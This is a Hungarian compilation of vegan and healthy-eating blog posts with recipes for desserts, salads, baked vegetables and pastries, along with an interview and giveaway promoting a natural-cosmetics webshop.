Hirtelen ötlettől vezérelve, új édességet alkottam, bundás almát. Az alma mindennapjaink része, az egyik legegyszerűbben beszerezhető gyümölcs. Nagyon szeretem! Szinte mindíg megszórom fahéjjal, ami melegítő hatással van szervezetünkre, így télen különösen ajánlott! A recept igazán egyszerű és gyors, aszalóban készül, ha nincsen aszaló sütőben is lehet szárítani 40 fok körül. Érdemes nagy adagot készíteni, mert gyorsan fogy!:) Bundás alma: 6 alma 4 -5 banán 20 datolya kiskanál fahéj fél citrom leve Díszítés lehet dió, mák, kakaóbab mozsárban megtörve, esetleg mandula vagy mogyoró , kókuszreszelék, ami éppen van otthon. Az almákat meghámozzuk, kiszedjük a magházat majd kb. 0,5 cm vastagon felszeleteljük. Turmixgépbe tesszük a banánokat a magozott datolyával fahéjjal és citromlével. Palacsintasűrűségű masszát kapunk. Ezt tálba öntjük, ebbe forgatjuk bele az almakarikákat. Aszaló tapadásmentes lapjára helyezzük, megszórjuk a díszítéssel, majd betesszük aszalódni. Kb 2 óra múlva leszedjük a tapadásmentes lapról és a rácsra helyezzük így aszaljuk egy éjszakát. Így annyira kiszárad, hogy hosszabb ideig is eltartható, de erre nem lesz semmi szükség, mert gyorsan fogy:) Ha nem szeretnénk tárolni kevesebb idő is elég az aszalásból. Ha már a bunda nem ragad, akkor elkészült a finomság. Nekem a mákos ízlett legjobban :)
Lencsecsíra saláta
2014. január 19. Éltető ételek
Ennek a mai ebédnek az alapanyagát a véletlennek köszönhetem. Még a hét közepén akartam lencsefőzeléket készíteni, ezért beáztattam a lencsét egy éjszakára. Másnap leöntöttem róla a vizet, de végülis nem lett belőle főzelék. Elfelejtkeztem róla, kint maradt a teraszon, ahol kb. 5 fok van. Szóval ma reggel nézem, és gyönyörűen kicsírázott lencsét találtam. Nagyon finom, ropogós, mégis zsenge. Nem akartam megfőzni, viszont meleg ételt akartam belőle készíteni. Úgyhogy éppen csak átpirított saláta lett belőle. Hozzávalók: - 1 hagyma vékonyan felszeletelve - 3-4 gerezd fokhagyma - kb. 1 dl házi paradicsomlé - 4-5 db aszalt paradicsom - só, bors, olasz fűszerkeverék (rozmaring, bazsalikom, kakukkfű) - 2 ujjnyi padlizsán - 1 csésze darabolt brokkoli - 2 csésze csíráztatott lencse - 1 újhagyma Így készítettem el: - A hagymát kevés kókuszolajon megpirítottam, majd belereszeltem a fokhagymát is. Fűszereztem, és hozzáadtam a brokkolit és a kockára vágott padlizsánt. 1-2 percig sütöttem együtt. - Ezután hozzáöntöttem a paradicsomlevet és az aszalt paradicsomot. - Végül belekevertem a lencsecsírát és belekarikáztam még 1 újhagymát. Egy gyors pirítás, és kész is. Jó étvágyat hozzá.
Karobos-kókuszos szelet szilvasziruppal
2014. január 17. Mindennapi ételeink
5 perc alatt kikeverhető, egészséges sütemény. Baba mellett mostanában csak ilyen édességekre van idő. Hozzávalók: 15 dkg finomliszt 10 dkg durumliszt 1 csomag foszfátmentes sütőpor 2-3 ek. karobpor 10 dkg nyírfacukor kb. 2,5 dl víz 6 ek. szójaolaj 5 dkg kókuszchips 10 dkg kókuszreszelék Tálaláshoz: Szilvaszirup, rizs habspray Elkészítés: A folyékony és a száraz alapanyagokat is külön-külön összekeverjük, majd egybeöntjük és olajozott, lisztezett tepsibe téve előmelegített sütőbe tesszük. 175-180 fokon 25-30 perc alatt kisütjük. Szilvasziruppal, szója vagy rizshabbal díszítve tálaljuk.
Balzsamecetes sült cékla/répa zabfasírttal
2014. január 10. Éltető ételek
A cékla igazi téli étel. Így sütőben sütve meg igazi melegítő étellé válik. Hiszen minél tovább főzzük az ételt, annál koncentráltabb energiájú lesz. Ezért télen nagyon jó a hosszú ideig tartós sütés, ezzel ellensúlyozva a hideget. A gyerekek kedvéért répát is vágtam hozzá, valamint fűszeres krumplit is grilleztem. Balzsamecetes sült cékla/répa - 0,5 kg cékla - 0,5 kg répa - 1-2 ek. balzsamecet - 3-4 ek. kókuszolaj - 1 tk. kömény - só, bors A céklát és a répát meghámozom, és egyforma, de nem túl kicsi darabokra vágom. A hámozott cékladarabokat tepsibe teszem, megsózom, megszórom köménymaggal, borssal, sóval. Meglocsolom a kókuszolajjal és a balzsamecettel, majd jól összeforgatom, hogy az olaj és balzsamecet jól bejárja a zöldséget. Lefedve 200 °C-ra előmelegített sütőbe teszem, és kb. 1 óra sütés után leveszem a fedelét és még 10-15 percig sütöm nagyobb lángon. Zabfasírt - 5 dkg zabpehely - 5 dkg zabliszt - 5 dkg őrölt lenmag - 2 dkg pirított, őrölt szezámmag - házi ételízesítő - 1-2 ek. napraforgómag - fűszerek: pirospaprika, só, bors, majoranna - 2 gerezd fokhagyma - 1/2 répa reszelve - forró víz (kb. 2,5 dl) - 2 tojás A szárazanyagot összekeverem, és leöntöm forró vízzel. Állni hagyom legalább 15 percet. Fűszerezem, belereszelem a répát és hozzáadjuk a tojást. Sűrű nokedli állagú masszát kapunk. Egy serpenyőt felhevítünk, és teszünk bele egy kis kókuszolajat. Kanállal kis halmokat rakunk bele, és mindkét oldalát megsütjük. Jót tesz a fasírtnak, ha egy kicsit hagyjuk kihűlni. Vékony szeletekre vágott krumplit grilleztem meg a sütőben, és ezt is hozzá kínáltam.
Ananászos-tökös torta
Házibuliban voltunk még novemberben, oda vittem ezt a tortát, hozzátenném, hogy a házigazda nem szimpatizál a sütőtökkel, édességem mégis sikert aratott! Annyira, hogy még a receptet is elkérték:) Ez a süti egy régi tortám átdolgozása. Annyit változtattam a recepten, hogy a krémbe a sütőtök mellé most nem almát, hanem ananászt tettem. Ananászos- tökös torta: Alap: 80 gramm lenmag 100 gramm mák 1 evőkanál kókuszzsír 20 datolya kiskanál fahéj csipet só Mákot és a lenmagot megőröljük kávédarálóban, vagy akinek profi turmixgépe van az abban is őrölheti. Beleöntjük a robotgépbe a kimagozott datolyát a megőrölt mákot és lenmagot a többi hozzávalóval és jól összedolgozzuk. A kapott masszát, kicsi csatos forma aljába nyomkodjuk. Ananászos- tökös krém: 15 datolya 1 kisebb ananász sütőtök kb. 1/3 annyi , mint az ananász darabka gyömbér, vagy szárítottból is jó egy késhegynyi 1 evőkanál kókuszzsír ( elhagyható) 1 narancs reszelt héja 1 kiskanál fahéj 2-3 evőkanál útifű maghéj Ha van profi turmixgépünk ami bírja a terhelést, akkor mindent beleönthetünk, és jól összedolgozzuk. Ha nincs akkor a robotgépünkbe jól összeaprítjuk a hozzávalókat, majd a csatos formába töltjük és elsimítjuk. Tetejét kókusz chipsszel és mozsárban összetört kakaóbabbal szórtam meg. Közepére fügét és körömvirágot tettem. ( Minden ehető, még a virág is:) Ha elég türelmesek vagyunk, érdemes a hűtőben pihentetni néhány órát, hogy szépen megdermedjen a kókuszzsír, és az útifű maghéj jól megzselésítse a krémet.
Mákos-vörösáfonyás tésztával töltött alma
2014. január 4. Mindennapi ételeink
Nagyon egyszerű, olcsó, gyors és finom nassolnivaló. És így az ünnepek után jólesik egy kis egészséges, nem túl édes desszert. Hozzávalók: 8 db közepes alma 25 dkg metélt tészta 20 dkg mák 10 dkg barna nádcukor 10 dkg vörösáfonya 2-3 ek. kókuszzsír Almánként 1-2 ek. szójajoghurt Elkészítés: Az almák tetejét levágjuk, majd kivájjuk a magházukat, úgy, hogy egyben maradjanak az almák. A tésztát kifőzzük, a mákot megdaráljuk, és a cukorral összekeverjük. Hozzákeverjük a kifőtt tésztához, beleszórjuk a vörösáfonyát, és a kivájt almabelekből hasznosítható részeket. Megtöltjük az almákat, mindegyik tetejére kanalazunk a szójajoghurtból, majd kókuszolajjal kikent tepsibe téve 180 fokon 25-30 perc alatt kisütjük.
Almás krémes, tej- és tojásmentesen
Ez a süti a 2013. év utolsó napján született, és azt kell mondjam, nagyon méltóan feltette a pontot az év végére, mert eszméletlenül finomra sikeredett!:) Vendégségbe vittük, és ott is nagy sikert aratott, a gyerekek pedig csak úgy falták!:) Na, nem fényezem tovább, inkább leírom gyorsan a receptjét, mielőtt elfelejtem!:) Vegán almás krémes Hozzávalók (egy kisebb, kb. 30 x 40 cm-es sütőtepsihez): A piskótához: 130 g teljes kiőrlésű liszt 120 g (bio) fehér liszt 100 g nádcukor 1 cs. foszfátmentes borkő sütőpor (pl. DM-ből) 1 mk. szódabikarbóna 1/2 citrom leve 6 ek. napraforgó olaj/ vagy kókuszolaj 250 ml növényi tej (pl. zabtej) A krémhez: 2 cs. (bio) vaníliás pudingpor (pl. DM-ből) 5 ek. nádcukor 500 ml növényi tej 200 g (bio) növényi margarin/ esetleg kókuszzsír 2-3 alma, vékonyra szeletelve őrölt fahéj csokireszelék (a fotón lévő az Aldiból van, kakaó, cukor és szójalecitin van benne, más adalék nem!) Előmelegítjük a sütőt 200 fokra. Először elkészítjük a piskótát, amihez csomómentesre keverjük egy robotgéppel a száraz, majd a folyékony összetevőket. Egy (kókusz)olajjal kikent tepsi alját kirakjuk az almaszeletekkel, és megszórjuk őrölt fahéjjal. Ráöntjük a piskótakeveréket, és betesszük a sütőbe. Kb. 25 perc alatt készre sütjük. A sütőből kivéve, 5 perc után kiborítjuk az almás piskótát, hogy az almás rész kerüljön felülre és hagyjuk kihűlni. A krémhez megfőzzük a pudingot a tejjel és a nádcukorral, majd hagyjuk teljesen kihűlni. Fontos, hogy a margarin és a puding azonos hőmérsékletű legyen az összekeveréskor, ezért ha szükséges, a margarint vegyük ki időben a hűtőből! A kihűlt pudingot és a margarint is külön-külön verjük fel a robotgéppel, majd a pudingot kanalanként adagoljuk a margarinhoz. A kész krémet kenjük a piskótára, majd a tetejét szórjuk be csokireszelékkel!
Tejberizs vaníiás rizstejjel
Gyerekeknek készítettem ezt a finom, vaníliás tejberizst, vaníliás rizstejből.
Nagyon finom lett.
Vaníliás rizstejbe (Müllerben kapható, ugyanannyiba kerül, mint a natúr változat) megfőzök egy adag rizst (barna rizst, vagy én jelen esetben jázmin rizst főztem). Xilittel édesítettem, és még pluszban vanília port kevertem bele.
Az elkészült, kicsit hígabb tejberizst házi szilvalekvárral rétegezve kehelybe kanalaztam.
Tetejét kókusz chipssel, goji bogyóval, és kakaóporral díszítettem.
Téli gyümölcsös jó reggelt
Karácsony előtt általában az emberek kitakarítják otthonaikat, lakásaikat. Ugyanilyen módon érdemes karácsony után "kitakarítani" testünket. Ünnepek alkalmával a vendégségek, finom sütemények, illatos ételek akaratlanul is rendszertelenné tehetik napi táplálkozásunkat, és olyan ételeket is megkóstolunk, megeszünk, amiket hétköznap inkább mellőzünk. Ez persze nem olyan nagy baj, főleg akkor, ha figyelünk arra, hogy több folyadékot, gyümölcsöt, zöldséget, nyers ételt fogyasszunk ezt követően. Ennek egyik módja, ha mindig tartunk otthon egy kevés almát, citrusfélét, gyümölcsöket, amiket rendszeresen fogyasztunk. Rendszeres gyümölcsfogyasztást úgy is beépíthetjük például étrendünkbe, ha reggelenként egy kiadós turmixot készítünk néhány gyümölcsből. Persze, ha inkább vacsora helyett az esti órákban választjuk a gyümölcs "nassolást", szintén hálás lesz érte szervezetünk.
A recept:
Hozzávalók:
- 1 narancs
- 1 banán
- 2-3 mandarin
- 2-3 alma
- 1-2 körte
- 1-2 dl kéz-meleg víz
- turmixgép (min. 500 watt)
Elkészítés:
Az almát és a körtét alaposan megmossuk, majd a turmixgépbe daraboljuk. A narancsot, mandarint megpucoljuk, gerezdekre szedjük és a turmixgépbe tesszük. A banánt héjától megfosztjuk, beledaraboljuk a gép edényébe. Kevés vizet öntünk a turmixgépbe és már mehet is a turmixolás egészen addig, míg jó sűrű pépet nem kapunk.
Poharakba vagy bögrékbe töltjük és elfogyasztjuk Tetejére "tálaláskor" szórhatunk kókuszreszeléket, amit előtte akár kicsit meg is piríthatunk teflonsütőben. (Legutóbb én ezt a műveletet kihagytam.)
Vegán csokoládés napraforgómagos rozs palacsinta
2013. december 12. Zizi kalandjai
Szeretem a kiadós palacsintás reggeliket, amelyekben nagyon ritkán van most részem. Legutoljára I. lepett meg októberben a szülinapomon palacsintával. Több receptemet kombinálva, amilyen alapanyagot talált itthon, így dobott össze nekem egy fantasztikus szülinapi reggelit. Jól sikerült nagyon! Remélem az ünnepek alatt lesz idő arra – amikor a család apraja-nagyja összegyűlik a szüleimnél -, hogy palacsintát süssünk reggelire… és nem kell már korán nekilátni az ebéd elkészítésének.
Szóval azt tervezem, hogy inkább este előkészítek majd anyával egy csomó mindent (zöldségek pucolása, alapanyagok kimérése, előkészítése, stb.), hogy legyen másnap idő egy nyugodt, békés palacsintás reggelire! Ezt kívánom nektek is: nyugodt perceket a családdal, finom teát, forró csokit vagy kávét szürcsölgetve, az előző nap ajándékba kapott meleg pulcsiban ücsörögve, elmélázva, együtt nevetgélve jusson idő egymás meghallgatására.
Ez egy egyszerű recept (még szeptemberben készült), háromféle lisztet kombináltam: teljeskiörlésű tönkölyt, zabot és rozslisztet. Természetesen nem kell pont ugyanezeket használni, ha éppen nincsen otthon. Kiváló lehet hajdinaliszttel, kölesliszttel vagy tönköly fehérliszttel is. Annál gazdagabb lesz, minél többféle lisztet adunk hozzá.
Bevallom nekem ez volt az első próbálkozásom a rozsliszttel (tudom, nem vagyok egy nagy kenyérsütő, pedig szeretnék az lenni és ropogós héjú kovászos rozskenyeret kivenni a sütőmből alkalomadtán!), illetve egy kekszet már sütöttem belőle, az nagyon-nagyon ízlett. Amit tudni érdemes a rozslisztről, hogy vitalizáló, immunerősítő hatású, növeli a fizikai erőnlétet. Gazdag B-vitaminokban, kálciumban, magnéziumban, nitrogénben és foszforban. Alacsony sikértartalma miatt célszerű más lisztekkel keverni (forrás: Tudatos Vásárlók).
A recept a Super natural every day szakácskönyvből van, változtattam egy kicsit rajta és vegánosítottam. A palacsinta tésztájába általában nem szoktam semmilyen édesítőszert tenni, szóval teljesen cukormentes. Tálaláskor úgyis meglocsoljuk juharsziruppal.
Vegán csokoládés napraforgómagos rozs palacsinta
Hozzávalók 10-12 db-hoz:
- 1 bögre teljeskiörlésű tönkölyliszt
- 1/2 bögre zabliszt
- 1/2 bögre rozsliszt
- 2 bögre mandulatej (szója-, rizs-, és zabtej is használható)
- 2 evőkanál foszfátmentes sütőpor
- 1/2 teáskanál só
- 1/3 bögre kókuszolaj (kókuszzsír felolvasztva)
- 1/2 bögre napraforgómag
- 1/2 bögre étcsokoládé, felaprítva
- juharszirup (bármilyen más szirup és méz is használható)
Egy tálban keverjük össze a liszteket, a sütőport és a sót. Egy másik tálban keverjük össze a nedves hozzávalókat: mandulatej, kókuszolaj. Keverjük össze a nedves hozzávalókat a szárazhoz, adjuk hozzá a napraforgómagot és a csokoládét és jól keverjük össze, amíg sima, sűrű tésztát kapunk (ha túl sűrűnek találjuk, hígítsuk egy kevés mandulatejjel). Hagyjuk 5 percet állni, hogy a tészta megkeljen.
Tegyünk egy kevés kókuszzsírt a teflonserpenyőbe és forrósítsuk fel. Kisebb adagot kanalazunk (2 adag is mehet egyszerre) a palacsinta tésztából a serpenyőbe, közepes lángon sütjük az egyik oldalukat, amíg aranybarnák lesznek. Megfordítjuk és a másik oldalukon is sütjük 1-2 percig. Tálaljuk juharsziruppal meglocsolva.
Fantázia tallérok
Férjem unokatestvére látogatott meg minket párjával nem régiben, akkor hoztam össze ezt a gyors, mutatós és laktatós finomságot. (Néhány tallér teljesen eltelít.) Nem vegánok készíthetik háztartási keksz ledarálásával, vegánok pedig darált zabpelyhet (vagy vegán kekszet) használhatnak alapnak. Szerintem osztály vagy munkahelyi karácsonyra is elkészíthető. Gondolom, most sokaknak aktuális.
A recept:
Hozzávalók:
1 adag darált keksz vagy zabpehely (pl. 1/4 kg)
víz
cikória vagy gabonakávé
karob- vagy kakaópor
növényi tejszín
édesítőszer (gyümölcscukor, xilit, méz, nyírfacukor, barnacukor - ki mit használ)
kókuszreszelék
Elkészítés:
Először is főzzünk, készítsünk kávét a gabonakávéból vagy cikóriából. Vannak instant kávék és forrázós eljárással készíthetők. Kinek milyen van. A megdarált zabpehelyre vagy kekszre szórjunk valamennyi (kb. 2-3 evőkanál) karobport (kakaóból kevesebb kell, de dolgozhatunk mindkettővel is). Édesítsük (ha háztartási keksszel dolgozunk, lehet, hogy elég édes így is), majd öntsük rá szép lassan a kávét. Közben keverve, figyelve, hogy mennyi folyadékot vesz fel a száraz alapanyag. Amikor az egész már összeáll és egy nagy gombócot tudunk belőle gyúrni, akkor kókuszos deszkán kinyújtjuk a tésztát és pogácsa szaggatóval korongokat szaggatunk. Tálcára tesszük őket. A tejszínt két részre osztjuk. Az egyikhez hozzáadunk egy kevés karobport vagy kakaóport. Először a fehér színűt verjük fel, majd a barna színűt. Ha nem édesített a tejszínünk, kicsit érdemes édesíteni. Tejszínhab-kinyomó "zsákba" tesszük a tejszínhabot. Ha ez nincs, fogunk két zacsit, a barna színű tejszínhabot az egyikbe, a fehéret a másikba töltjük úgy, hogy a zacsik egyik sarkába halmozzuk fel a habot. A zacsi sarkát a végénél ollóval levágjuk. Kezdődhet a díszítés saját ötleteink szerint. Hűvös helyen tároljuk, míg tálalásra kerül a sor.
Igazi vendégváró falat. Elkészíthetjük karácsonyra vagy akár farsangra is. Télen és nyáron is nagyon finom és ezzel egyedi világot kölcsönözhetünk a sokak által ismert és megszokott "keksztekercsnek".
Brutálisan finom vegán mákos kalács
2013. december 9. La Veganista
A karácsony közeledtével előkerül a nagy klasszikus, amiért már gyerekkoromban is rajongtam. Sok-sok évnek kellett eltelnie mire rászántam magam arra, hogy elkészítsem, ráadásul akkor már vegán változatban kísérleteztem ki a legfinomabb verziót. Hogy miért jó mákos kalácsot enni? Mert ez a kicsinyke olajos mag a vashiány és a csontritkulás ellenszere. 10dkg mákban 22mg szerves vas található, és 968mg kalcium. Kiváló B1, B2, B6, valamint magnézium és kálium forrás egész évben. Hozzávalók: A tészta
- 30 dkg liszt
- 7,5 dkg kókuszzsír (vegán margarinnal helyettesíthető)
- 1-1,25 dl rizstej (helyettesíthető mandula, szója, mogyoró vagy zabtejjel is)
- 1,5-2 dkg élesztő
- 4 dkg cukor (barna, nád)
- 1/2 citrom reszelt héja
- 1 tk friss narancshéj - elhagyható
- 1/2 tk vanília kivonat
- 1 csipet só
A töltelék
- 15 dkg darált mák
- 5 dkg cukor (barna, nád)
- 1/2 tk vanília kivonat
- 1/2 citrom reszelt héja
- 1 evőkanál citromlé
- 0,5 dl rizstej
- 1 marék mazsola - opcionális
Kenéshez
- Növényi tej
Így készítsd el:
A cukrot és az élesztőt a meglangyosított növényi tejben futtasd fel.
Ezalatt a lisztet szitáld tálba, morzsold el benne a kókuszzsírt. Keverd hozzá a cukrot, a vaníliát, a citrom és narancshéjat, valamint a sót, majd alaposan dolgozd össze a felfuttatott élesztővel. Ne sajnáld azt az 5- 10 percet, ami a tészta dagasztásához kell. Ettől lesz lágy és levegős, vagyis könnyű a kalácstésztánk.
A tésztát tedd félre lefedve. A konyha hőmérsékletétől függően 1-1,5 óra alatt kel meg.
Amíg kel a kalácstészta, addig készítsd el a tölteléket. Egy kis tálkában keverd össze a hozzávalókat. A növényi tejet óvatosan adagold. Csak annyi kell belőle, amennyi éppen megnedvesíti a mákot, tölteléknek nem szabad tocsognia. (A mazsolát nem kell beáztatni, mert a sütés közben fejlődő gőz megpuhítja.)
A megkelt tésztát lisztezett nyújtódeszkán vagy szilikonlapon téglalap alakúra nyújtjuk, és egyenletesen eloszlatjuk rajta a tölteléket. Lazán tekerjük fel, így kisebb eséllyel reped szét a sütőben. A tészta vége kerüljön alulra, és a kalács két végét is dolgozzuk el, hogy a mák ne másszon ki belőle sütés közben.
Sütőpapírral kibélelt tepsin hagyjuk további 15-20 percig letakarva kelni. Mielőtt a sütőbe tolnánk, kenjük le a tetejét rizstejjel.
180 fokra előmelegített sütőben süssük aranybarnára. Kb. 30-35 perc. Kihűlés után szeleteljük és tálaljuk.
Natúrkozmetikumokkal a szép bőrért! + Nyereményjáték
2013. december 2. Zizi kalandjai
Néhány éve már nemcsak arra figyelek oda, hogy mit eszünk, hanem arra is, hogy mivel tápláljuk, ápoljuk a testünket kívülről. Fontosnak tartom a címke olvasást nemcsak az élelmiszerek esetében, hanem a kozmetikumok esetében is (igen, nem értünk minden egyes szót, de erre vannak hatóanyag elemzők, akiktől lehet tanácsot kérni vagy akiknél lehet tájékozódni egyes összetevőkről). Mostanra előnyben részesítem a natúrkozmetikumokat, amelyeknek az összetevői ellenőrzött gazdálkodásból kerülnek ki és az olyan kozmetikai termékeket készítő vállalkozókat, akik szívvel-lélekkel működtetik cégüket és hisznek abban, hogy az egyszerűbb sokszor több, valamint a minőségi termékek (amelyeket nyugodt szívvel ajánlanak a vásárlóknak) előállítása nem csak pénz kérdése.
Egy ilyen cég megálmodójával, létrehozójával, Hegedűs Eszterrel beszélgettem.
Bemutatnád néhány szóban a Deja-Vu-t?
Végzettségemet tekintve élelmiszeripari mérnök és közgazdász vagyok, egy kereskedelmi multinál beszerzőként dolgoztam összesen 12 évet. Két fiam van, 6 és 9 évesek. Ahogyan ez már sok mindenkivel megesett az élete során, a gyerekeim születése alapjaiban változtatta meg az életemet: áthelyeződtek a prioritások, előtérbe került a család, valamint az egészséges és környezetbarát élet. Amikor szülés után visszamentem dolgozni, úgy éreztem, az már nem az én világom. Sok mindenben úgy éreztem, ellentét feszül az általam megélt és belső meggyőződésemmé tett elvek és a munkám között: nem tudok egyszerre hiteles lenni egy multinál, és közben sok területen teljesen más elveket képviselni. Nem volt jó, hogy a gyerekeimet csak este egy-másfél órára látom, nem szerettem egy fogaskerék lenni a nagy gépezetben, és nagyon nehezen tudtam kezelni a munkahelyi stresszt. Mivel a férjem mindenben támogatott akkor is, átgondolva a helyzetünket és a lehetőségeinket, felmondtam, és megalapítottuk a DEJA-VU Világ-ot, így a szenvedélyem egyben a munkám is lett.
A DEJA-VU Világ egy olyan webáruház, melyben természetes kozmetikumok és ökoháztartási kellékek kaphatóak. Olyan termékeket válogatok, amelyek segítenek megtalálni a visszautat a gyökereinkhez, ahhoz a tudáshoz, amit nagyanyáink még tudtak: hogy az egyszerűbb sokszor több. Termékeket, melyeknek használatával mind egészségünket óvjuk, mind pedig környezetünket. Három fő kategóriával indultunk: pipere (natúrkozmetikumok: szappanok, krémek, természetes növényi vajak és hajfestékek), ökoháztartás (folttisztító só, szódabikarbóna, mosószóda, nyírfacukor) és aroma (illóolajok, parfümolajok, aromavizek, hordozóolajok). A termékkínálat folyamatosan bővül, a vásárlói visszajelzések és igények függvényében.
Mi a cégetek hitvallása?
Természetesen, igényesen, tudatosan.
Természetesen: csak olyan termékeket tudok nyugodt szívvel ajánlani, melyeket saját magam is használok, melyek környezet- és emberbarátok. Ez alapján válogatom termékkínálatom elemeit.
Igényesen: magas minőségi elvárásokat támasztok mind a termékek minőségével, mind pedig az általunk nyújtott szolgáltatások és tájékoztatás tekintetében. Az eladás fontos, de nem kizárólagos cél. Személyes küldetésemnek tartom, hogy minél több emberhez eljussanak az általam képviselt elvek (ökoéletmód, szépségápolás, egészséges étkezés, tartósítás), és örülök, ha tapasztalataimat minél többen hasznosítják. Felelősséggel tartozom azért, hogy milyen példát nyújtok a gyerekeimnek, és milyen világot hagyok számukra örökül.
Tudatosan: hiszem, hogy a sorok között is kell olvasni, sajnos nem szabad mindent elhinni, amit tálalnak nekünk. Tájékozódjunk, olvassuk el az apró betűket, a termékek összetevőit, és válasszunk tudatosan! A pénzünk szavazat, nem mindegy, mire költjük. Támogassuk a kisvállalkozásokat, a helyi vállalkozásokat, építsünk közösséget, figyeljünk oda egymásra!
Miért használjunk natúrkozmetikumokat?
Az elmúlt évtizedekben, évszázadokban elhitették velünk, hogy a szépség és a fiatalság követendő példa. Megöregedni nem “trendi”. Rászoktattak minket arra, hogy szépségünket rengetegféle szerrel ápoljuk, és lehetőleg azokkal, melyeket a reklámokban látunk. Mindenki gondoljon bele, hogy felkelés és lefekvés között hány termékkel találkozik a bőre, kezdve a tisztálkodástól, az arcápolástól a testápoláson át a sminkekig és a hajfestékekig, a parfümökről ne is beszéljünk. A mai szépségápolási ipar termékeit hatalmas mennyiségben a legmodernebb technológiával állítják elő, a tartósság és az egységesség érdekében a lehető legtöbb olyan összetevőt adva hozzá, melyek fényévekre vannak azoktól a természetes alapanyagoktól, amiket a reklámokban megmutatnak, vagy amiket a flakonon feltüntetnek (illetve a természetes összetevők jellemzően az összetevősor legvégén, minimális mennyiségben szerepelnek). Egy kommersz üzletben kapható kozmetikum nagyon sok összetevőből áll, melyek többsége szintetikus, allergizálhat, vagy esetleg már bizonyítottan káros hatással van az emberi szervezetre, mégis használják, mert üzletileg megéri. Sajnos a nagy nevű márkák sem jelentenek semmire garanciát, sőt. Párhuzamot vonnék az élelmiszerekkel: ma már vásárlás előtt olvassuk el a címkéket, és ha a termék nagyon sok összetevőből áll, inkább hagyjuk a polcon. Sok bőrprobléma, érzékenység kezelhető, javítható, bizonyos esetekben eltüntethető önmagában azzal, hogy lecseréljük kozmetikumainkat egészségesebbekre. Javaslom mindenkinek, hogy ezen elvek alapján nézze át a saját kozmetikumait, tisztítószereit, és tegye fel a kérdést: tényleg szükségem van erre, vagy csak elhitették velem?
Melyik a legnépszerűbb terméketek?
A legnépszerűbb termékem a xilit . Szépségápolási termékek közül a legkedveltebbek: a bio hidratáló arckrém, a natúr shea vaj és az extraszűz kókuszvaj, a Föld szíve vajkeverék, a pannonhalmi levendulaolaj és az olívaszappanok (Szirmok titka és Amazonas kincse). Az ökoháztartásban pedig a folttisztító só vezet.
Neked melyik a legkedvesebb terméked?
Nehéz a választás, mert mindegyik a szívemhez nőtt. Ha többet is lehet választani, akkor a Gül baba és a Kávészünet szappanok, a mandarin-pacsuli illatú shea vaj és a most elkészült parfümolajok.
Milyen kedvezményekkel élhetnek a vásárlók most az ünnepek közeledtével?
Minden decemberben leadott megrendelés után garantált ajándék is jár!
Ajándékaink (rendelés leadás dátuma szerint):
- December 1-8.: Egy kézzel készült natúrszappan a DEJA-VU Világ kínálatából. Hogy melyik, az legyen meglepetés!
- December 9-15.: 5 db karácsonyi ajándékkísérő kártya
- December 15-20*.: Egy üveg 100%-os DEJA-VU Világ illóolaj. Hogy melyik? Az egyelőre a mi titkunk…
(*Utolsó, karácsony előtt garantáltan kiszállításra kerülő rendelés leadási határideje: 2013. december 20.)
Ráadás meglepetésünk egy értékes nyeremény:
A www.dejavuvilag.hu webáruházban 2013. december 1-20-ig, legalább 10.000 Ft értékben rendelők között kisorsolunk egy 10.000 Ft értékű elektromos illóolaj párologtatót (aroma diffúzort).
A Deja-Vu Világ elérhető az alábbi linkeken:
- weboldal
- blog
- Facebook oldal
*****
NYEREMÉNYJÁTÉK!
Nyeremény : két nyertes egy-egy csomag díszdobozba csomagolt szappant fog kapni (a nyertesek választhatják ki, hogy melyik két fajtát szeretnék a csomagban).
Menjetek fel a Deja-Vu oldalára, nézzetek szét náluk és írjátok meg ide kommentben, hogy melyik két szappan tetszik nektek a legjobban (az én kedvencem a répatorta szappan, Ádikáé meg a vidám manó szappan )! Feltétlen írjátok meg az email címeteket is, hogy értesíteni tudjam a nyerteseket! Extra pontokért lehet lájkolni a Deja-Vu Világ és Zizi kalandjai Facebook oldalakat (ha már megtettétek akkor is írjátok be a neveteket ebbe a kis formulába)! Először tesztelem ezt a nyereményjáték formulát, remélem a kevés angol nyelvű szöveg azért mindenki számára érthető – ha nem, jelezzétek – és ki tudjátok tölteni!
a Rafflecopter giveaway
Szabályok : 2013. december 5-ig lehet játszani. Eredményhirdetés 2013. december 6-án (micsoda Mikulás ajándék lesz a nyerteseknek!). Két nyertest sorsolok ki, akiket emailben értesítek, majd a nevük kikerül a blogra (ez a bejegyzés fog frissülni) és a Zizi kalandjai Facebook oldalára is. A nyertesek a nyereményüket a Deja-Vu világtól fogják megkapni (a cég magyarországi címre postázza a nyereményt).
Vegán földimogyoróvajas muffin datolyasziruppal
2013. november 29. Zizi kalandjai
Gyönyörű babarózsaszín tortatál: BeCake
Ezer éve nem sütöttem! Tényleg! Ádival a fedélzeten nem elég négy lapáttal evezni, néha jól jönne egy ötödik vagy akár hatodik evező is! Igyekszem azért naponta egyszer meleg ételt varázsolni az asztalra, vagy ebédre vagy vacsorára. Hogy ezt még extrázzam egy kis desszerttel is, az már nem igazán megy. Na, de most, amikor közelednek az ünnepek… elhatároztam, hogy az idén is igyekszem saját készítésű ajándékokkal meglepni a szeretteimet, és ha az időm is engedi néhány receptet majd veletek is megosztok.
Ez a muffin is későn este készült, amikor Ádi már elaludt. A száraz és nedves hozzávalókat sikerült kora este összekevernem, aztán a sütés késő estére maradt. A fotózás meg másnap délelőttre. Igen, így készül egy blogbejegyzés egy közel 7 hónapos kisbabával… akinek éppen énekeltem, amikor ezeket a muffinokat fotóztam. Aztán meg a türelmét kértem, amíg mindent gyorsan visszapakoltam a helyére és újra vele foglalkozhattam.
A muffin tésztájába került egy kevés a házi földimogyoróvajból, ment bele zabpehely, chia mag és almaecet, valamint banán (az utóbbi hárommal helyettesítettem a tojást). Édesítésre pedig datolyaszirupot használtam.
A datolya természetes cukortartalma rendkívül magas, de tartalmaz B-vitamint, kálciumot, magnéziumot, foszfort, rezet, káliumot, cinket illetve vasat is. Tekintélyes mennyiségű kálcium és a magnézium tartalma miatt könnyedén juthat a szervezet a szükséges kálciumhoz. Étkezési rosttartalma szintén nem lebecsülendő. A datolya nagymennyiségű ásványtartalmának köszönhetően vértisztító hatású, de egyes vizsgálatok szerint jótékony hatása van a légzőszervekre is. Magas cukortartalma miatt túlzott fogyasztása a cukorbetegek számára nem javasolt. Idehaza főleg aszalt formában érhető el, de egyre több helyen bukkan fel a szirup változata is (még több infó a datolyáról itt).
